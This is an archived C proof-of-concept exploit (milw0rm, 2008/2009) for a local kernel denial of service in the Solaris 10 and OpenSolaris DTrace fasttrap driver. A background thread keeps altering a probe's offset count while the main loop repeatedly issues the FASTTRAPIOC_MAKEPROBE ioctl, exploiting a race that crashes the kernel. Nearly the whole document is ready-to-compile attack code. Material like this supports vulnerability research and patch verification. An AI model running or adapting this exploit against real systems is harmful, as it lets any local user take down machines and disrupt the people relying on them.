Solaris 10 / OpenSolaris - 'fasttrap' Local Kernel Denial of Service (PoC)

/* solaris-fasttrap-dos.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Solaris >= 10/Opensolaris local kernel DoS POC
 * by mu-b - Wed 19 Nov 2008
 *
 * - Tested on:  Sun Solaris 10 (SPARC)
 *               Sun OpenSolaris <= snv_113 (x86)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <sys/fasttrap.h>
#include <unistd.h>

#define DTRACE_FASTTRAP "/devices/pseudo/fasttrap@0:fasttrap"

void *
hammer (void *addr)
{
  fasttrap_probe_spec_t *probe;
  probe = addr;

  while (1)
    {
      probe->ftps_noffs = 1024 * 128;
      usleep (10);
    }

  return (NULL);
}

int
main (int argc, char **argv)
{
  fasttrap_probe_spec_t probe;
  int i, fd, n, tid;

  printf ("Solaris >= 10/Opensolaris local kernel DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  fd = open (DTRACE_FASTTRAP, O_RDONLY);
  if (fd < 0)
    {
      fprintf (stderr, "failed opening %s\n", DTRACE_FASTTRAP);
      return (EXIT_FAILURE);
    }

  memset (&probe, 0, sizeof probe);
  memset (&probe.ftps_func, 0x41, DTRACE_FUNCNAMELEN-1);
  memset (&probe.ftps_mod, 0x41, DTRACE_MODNAMELEN-1);

  probe.ftps_type = DTFTP_OFFSETS;
  probe.ftps_pid = getpid ();

  n = pthread_create (&tid, NULL, hammer, &probe);
  if (n < 0)
    {
      fprintf (stderr, "failed creating hammer thread\n");
      return (EXIT_FAILURE);
    }

  for (i = 0; ; i++)
    {
      probe.ftps_noffs = 1;
      n = ioctl (fd, FASTTRAPIOC_MAKEPROBE, &probe);

      if (!(i % 64))
        printf ("tried: %d-times\r", i);
    }

  return (EXIT_SUCCESS);
}

// milw0rm.com [2009-05-04]